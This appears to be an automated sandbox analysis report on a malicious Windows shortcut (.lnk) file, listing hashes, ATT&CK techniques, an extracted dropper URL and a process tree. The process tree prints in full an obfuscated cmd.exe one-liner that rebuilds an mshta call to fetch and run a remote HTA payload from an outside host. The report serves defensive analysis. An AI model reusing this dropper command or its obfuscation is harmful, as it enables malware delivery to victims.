85b0de0d429105511ed949f29494d27675ada82d8b84d7810457ff869e56d7b9

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-3CH41Q.lnk
Size 2KB
Sample260804-kaha1aar7w
SHA256 85b0de0d429105511ed949f29494d27675ada82d8b84d7810457ff869e56d7b9
MD5 e096228029b5cfaa1855bef33d544df4
SHA1 5f93c20a2a5770f9903357cf314ccbacfc0a4315
SHA512 43ac556d377f990ae9eaaa612b8913e650e2acabd5edca1ec429e43a8b6baa6a228145752db1668d4f4c2b96a1f60ffd984ff4fc0bc8a71870f8b25045487c61
TLSH
T1544179602ADE45C8F3BB8E36DDFE7751887FBA526CA0D58E0805810D4822B01ED77F66
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2196	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 4132	2196	cmd.exe	90
PID 4132 wrote to memory of 4540	4132	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3CH41Q.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2196
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set zx=cfgxtquensnwhdcfg&&set cKRFe=bakzddeeylgmwnfnsfkkkbak&&set NqX=em4c&&set vfcWS=pmqst&&set iDmX=eb2hta82d&&set xVD=bakzqyjdibbak&&set qRu=infvdxwjwmqbjlktrinf&&set SP=cfgubgbfuufxcfg&&set DHec=yssba&&set cbSn=1gt8&&set CK=dart84z&&set HPnMO=cfguotixsumpjeqprfxrlcfg&&set gQ=dbgvzkuaqaoaimphdbg&&set LJ=cachemuuzwhqsyjwznhpxcache&&set Rqetp=h@ttps:@/@/ma@-pdff@ill@[email protected]@at/@h@/est@[email protected]@hp@?@r=3@9146@9@FB@5@D@8@2DB&&start /b !NqX:~1,1!!vfcWS:~3,1!!iDmX:~3,3! !Rqetp:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads